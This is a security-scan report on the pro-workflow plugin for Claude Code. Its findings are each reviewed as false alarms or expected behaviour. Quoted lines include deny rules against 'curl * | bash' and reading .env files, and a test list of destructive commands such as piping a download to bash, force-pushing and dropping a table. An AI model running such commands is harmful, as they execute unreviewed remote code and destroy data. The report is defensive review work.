pro-workflow
Flagged as possibly malicious Reviewed: expected behaviour
Bawwab's static rules matched a pattern it treats as critical. Read the review notes: a reviewed false alarm is marked as such.
Why it was flagged
The static rules marked this “Flagged as possibly malicious” because of:
exfil.combo: Reads credentials and makes network calls (critical, 1× · first at settings.example.json:11)
- Kind
- Plugin
- Source
- github
- Repository
- rohitg00/pro-workflow
- Commit
86d5f2770bd8e1695e40888e4242841eb7cbad4f- Listed in
- rohitg00/pro-workflow
- Popularity
- 2,966 GitHub stars (2026-11-20)
- Link
- https://github.com/rohitg00/pro-workflow/tree/86d5f2770bd8e1695e40888e4242841eb7cbad4f
- Scanned
- 2026-11-20T23:19:15+00:00
- Scan time
- 2.9 s
- Scanned as
- plugin
Review note: Every flag is example config deny rules, docs, tests, or local hooks that only print warnings; nothing reads secrets or sends data.
Findings (20)
credential-access: Touches credentials or secrets high
config.json:14
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
"learned_file": "~/.claude/LEARNED.md"
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
A config setting naming the plugin's own notes file, ~/.claude/LEARNED.md. Not a credential.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
mcp-config.example.json:38
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
"user": "~/.claude.json mcpServers section (personal)",
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
Explanatory text in an example MCP config about where MCP server scopes live (~/.claude.json). It is not read by code.
Reviewed by Claude (AI-assisted review), 2026-11-21
remote-code.pipe-shell: Pipes a download into a shell high
settings.example.json:7
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesOWASP Agentic ASI05 Unexpected Code Execution (RCE)MITRE ATLAS AML.T0050 Command and Scripting InterpreterCWE CWE-494 Download of Code Without Integrity Check
"Bash(curl * | bash)",
What this means: Executes whatever the remote server returns, unreviewed.
The rule's general advice: Download, verify a checksum, then run. (see the review note for this case)
Known false alarm
'Bash(curl * | bash)' sits in the 'deny' list of the example settings, so it blocks piping downloads to a shell instead of doing it.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
settings.example.json:11
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
"Read(**/.env)",
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
'Read(**/.env)' sits in the 'deny' list of the example settings, so it stops the assistant reading .env files.
Reviewed by Claude (AI-assisted review), 2026-11-21
exfil.combo: Reads credentials and makes network calls critical
settings.example.json:11
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means
"Read(**/.env)",
What this means: Credential access together with outbound requests in one file is the shape of data theft.
The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)
Known false alarm
'Read(**/.env)' sits in the 'deny' list of the example settings, so it stops the assistant reading .env files.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
docs/infographic.html:429
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
<div><code>file-changed</code><br>Reacts to <code>.env</code>, <code>package.json</code>, and other config files</div>
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
An HTML infographic describing the file-changed hook. Documentation only.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
hooks/hooks.json:311
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
"matcher": ".env|.envrc|package.json|tsconfig.json|Cargo.toml|go.mod|pyproject.toml",
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
A FileChanged hook matcher on .env, package.json and similar files. The hook script only gets the changed path and prints a reminder. It never opens the file.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
scripts/file-changed.js:56
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
console.error('[ProWorkflow] CAUTION: .env changed — verify no secrets are committed');
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
file-changed.js prints 'CAUTION: .env changed - verify no secrets are committed' to stderr. It reads only the path from the hook input and makes no network calls.
Reviewed by Claude (AI-assisted review), 2026-11-21
exfil.combo: Reads credentials and makes network calls med
scripts/file-changed.js:56
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means
console.error('[ProWorkflow] CAUTION: .env changed — verify no secrets are committed');
What this means: Credential access together with outbound requests in one file is the shape of data theft.
The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)
Known false alarm
file-changed.js prints 'CAUTION: .env changed - verify no secrets are committed' to stderr. It reads only the path from the hook input and makes no network calls.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
scripts/__tests__/hook-payloads.test.js:141
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
file_path: '/repo/.claude/settings.json',
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
A test payload with a fake path '/repo/.claude/settings.json', used to check the config-watcher hook's log line.
Reviewed by Claude (AI-assisted review), 2026-11-21
remote-code.pipe-shell: Pipes a download into a shell high
scripts/__tests__/safe-mode-guard.test.js:26
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesOWASP Agentic ASI05 Unexpected Code Execution (RCE)MITRE ATLAS AML.T0050 Command and Scripting InterpreterCWE CWE-494 Download of Code Without Integrity Check
for (const cmd of ['rm -rf ./build', 'git push -f origin main', 'git push origin feat --force', 'git reset --hard HEAD~1', 'curl https://x.sh | bash', 'psql -c "DROP TABLE users"', 'git checkout -- .'
What this means: Executes whatever the remote server returns, unreviewed.
The rule's general advice: Download, verify a checksum, then run. (see the review note for this case)
Known false alarm
A test list of destructive commands, including 'curl https://x.sh | bash', that the safe-mode guard must flag. Test data only.
Reviewed by Claude (AI-assisted review), 2026-11-21
exfil.host: References an exfiltration-style host high
scripts/__tests__/system-one.test.js:143
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0025 Exfiltration via Cyber Means
assert.equal(canSendKey('http://10.0.0.5:8791/v1/systemone'), false);
What this means: Paste, webhook and tunnel services are commonly used to receive stolen data.
The rule's general advice: Remove or justify the destination. (see the review note for this case)
Known false alarm
A test asserting that the API key is NOT sent to a private-network URL (http://10.0.0.5). It checks a safety guard.
Reviewed by Claude (AI-assisted review), 2026-11-21
plugin.hook-broad: Plugin hook runs on every tool call med
hooks/hooks.json:37
MITRE ATLAS AML.T0142 Event Triggered Execution
node "${CLAUDE_PLUGIN_ROOT}/scripts/tool-call-budget.js"
What this means: A hook with no specific matcher runs a command each time the assistant uses any tool, giving it constant access to your session.
The rule's general advice: Check the hook command, and prefer plugins whose hooks match specific tools. (see the review note for this case)
Expected for what this tool does
These hooks run on every tool call, by design. tool-call-budget.js counts calls in a temp file and warns at thresholds. permission-request.js prints a caution for dangerous commands. tool-failure.js prints the failed tool name. None of them uses the network.
Reviewed by Claude (AI-assisted review), 2026-11-21
plugin.hook-broad: Plugin hook runs on every tool call med
hooks/hooks.json:260
MITRE ATLAS AML.T0142 Event Triggered Execution
node "${CLAUDE_PLUGIN_ROOT}/scripts/permission-request.js"
What this means: A hook with no specific matcher runs a command each time the assistant uses any tool, giving it constant access to your session.
The rule's general advice: Check the hook command, and prefer plugins whose hooks match specific tools. (see the review note for this case)
Expected for what this tool does
These hooks run on every tool call, by design. tool-call-budget.js counts calls in a temp file and warns at thresholds. permission-request.js prints a caution for dangerous commands. tool-failure.js prints the failed tool name. None of them uses the network.
Reviewed by Claude (AI-assisted review), 2026-11-21
plugin.hook-broad: Plugin hook runs on every tool call med
hooks/hooks.json:282
MITRE ATLAS AML.T0142 Event Triggered Execution
node "${CLAUDE_PLUGIN_ROOT}/scripts/tool-failure.js"
What this means: A hook with no specific matcher runs a command each time the assistant uses any tool, giving it constant access to your session.
The rule's general advice: Check the hook command, and prefer plugins whose hooks match specific tools. (see the review note for this case)
Expected for what this tool does
These hooks run on every tool call, by design. tool-call-budget.js counts calls in a temp file and warns at thresholds. permission-request.js prints a caution for dangerous commands. tool-failure.js prints the failed tool name. None of them uses the network.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
file-changed.js:56
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
[server providers] console.error('[ProWorkflow] CAUTION: .env changed — verify no secrets are committed');
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
file-changed.js prints 'CAUTION: .env changed - verify no secrets are committed' to stderr. It reads only the path from the hook input and makes no network calls.
Reviewed by Claude (AI-assisted review), 2026-11-21
exfil.combo: Reads credentials and makes network calls med
file-changed.js:56
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means
[server providers] console.error('[ProWorkflow] CAUTION: .env changed — verify no secrets are committed');
What this means: Credential access together with outbound requests in one file is the shape of data theft.
The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)
Known false alarm
file-changed.js prints 'CAUTION: .env changed - verify no secrets are committed' to stderr. It reads only the path from the hook input and makes no network calls.
Reviewed by Claude (AI-assisted review), 2026-11-21
credential-access: Touches credentials or secrets high
__tests__/hook-payloads.test.js:141
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
[server providers] file_path: '/repo/.claude/settings.json',
What this means: Reads files or environment holding keys, tokens or sessions.
The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)
Known false alarm
A test payload with a fake path '/repo/.claude/settings.json', used to check the config-watcher hook's log line.
Reviewed by Claude (AI-assisted review), 2026-11-21
remote-code.pipe-shell: Pipes a download into a shell high
__tests__/safe-mode-guard.test.js:26
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesOWASP Agentic ASI05 Unexpected Code Execution (RCE)MITRE ATLAS AML.T0050 Command and Scripting InterpreterCWE CWE-494 Download of Code Without Integrity Check
[server providers] for (const cmd of ['rm -rf ./build', 'git push -f origin main', 'git push origin feat --force', 'git reset --hard HEAD~1', 'curl https://x.sh | bash', 'psql -c "DROP TABLE users"', 'git checkout -- .'
What this means: Executes whatever the remote server returns, unreviewed.
The rule's general advice: Download, verify a checksum, then run. (see the review note for this case)
Known false alarm
A test list of destructive commands, including 'curl https://x.sh | bash', that the safe-mode guard must flag. Test data only.
Reviewed by Claude (AI-assisted review), 2026-11-21
exfil.host: References an exfiltration-style host high
__tests__/system-one.test.js:143
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0025 Exfiltration via Cyber Means
[server providers] assert.equal(canSendKey('http://10.0.0.5:8791/v1/systemone'), false);
What this means: Paste, webhook and tunnel services are commonly used to receive stolen data.
The rule's general advice: Remove or justify the destination. (see the review note for this case)
Known false alarm
A test asserting that the API key is NOT sent to a private-network URL (http://10.0.0.5). It checks a safety guard.
Reviewed by Claude (AI-assisted review), 2026-11-21
17 low-severity notes (informational, do not affect the result)
install-dir-access: Reads or writes Claude's install folders low
settings.example.json:104
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
"plansDirectory": ".claude/plans",
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
.github/workflows/release.yml:99
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
cd ~/.claude/plugins/*/pro-workflow
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
scripts/cwd-changed.js:15
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
const hasClaude = fs.existsSync(path.join(newCwd, 'CLAUDE.md')) || fs.existsSync(path.join(newCwd, '.claude'));
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
scripts/file-changed.js:72
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
console.error('[ProWorkflow] .claude/ config changed — context or rules may be affected');
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
scripts/optimize-skill.js:68
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
path.join(os.homedir(), '.claude', 'skills', slug, 'SKILL.md'),
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
credential-access: Touches credentials or secrets low
scripts/secret-scan.js:20
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
/process\.env\./,
What this means: Reads files or environment holding keys, tokens or sessions.
What you can do: Confirm the tool needs this; otherwise do not install.
install-dir-access: Reads or writes Claude's install folders low
scripts/session-start.js:33
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
const claudeDir = path.join(projectRoot, '.claude');
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
scripts/setup-hook.js:28
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
if (!fs.existsSync(path.join(cwd, 'CLAUDE.md')) && !fs.existsSync(path.join(cwd, '.claude'))) {
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
skills/wiki-builder/scripts/init_wiki.sh:52
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
root="$project_dir/.claude/wikis"
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
skills/wiki-builder/scripts/wiki-cli.js:44
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
return path.join(proj, '.claude', 'wikis');
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
plugin.bundled-mcp: Plugin bundles an MCP server low
.claude-plugin/plugin.json
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0010.005 Supply Chain Compromise: AI Agent Tool
plugin bundles MCP server(s): providers
What this means: The plugin installs additional MCP servers that run code on your machine and are not covered by this layer alone.
What you can do: Review each bundled server as if you were installing it separately.
install-dir-access: Reads or writes Claude's install folders low
cwd-changed.js:15
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
[server providers] const hasClaude = fs.existsSync(path.join(newCwd, 'CLAUDE.md')) || fs.existsSync(path.join(newCwd, '.claude'));
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
file-changed.js:72
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
[server providers] console.error('[ProWorkflow] .claude/ config changed — context or rules may be affected');
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
optimize-skill.js:68
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
[server providers] path.join(os.homedir(), '.claude', 'skills', slug, 'SKILL.md'),
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
credential-access: Touches credentials or secrets low
secret-scan.js:20
OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration
[server providers] /process\.env\./,
What this means: Reads files or environment holding keys, tokens or sessions.
What you can do: Confirm the tool needs this; otherwise do not install.
install-dir-access: Reads or writes Claude's install folders low
session-start.js:33
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
[server providers] const claudeDir = path.join(projectRoot, '.claude');
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
install-dir-access: Reads or writes Claude's install folders low
setup-hook.js:28
MITRE ATLAS AML.T0081 Modify AI Agent Configuration
[server providers] if (!fs.existsSync(path.join(cwd, 'CLAUDE.md')) && !fs.existsSync(path.join(cwd, '.claude'))) {
What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.
What you can do: Check which files it adds there and that you want them.
Dispute this result
Maintainer and think this is wrong? Open a dispute on GitHub with the target id plugin-rohitg00-pro-workflow-7906ba.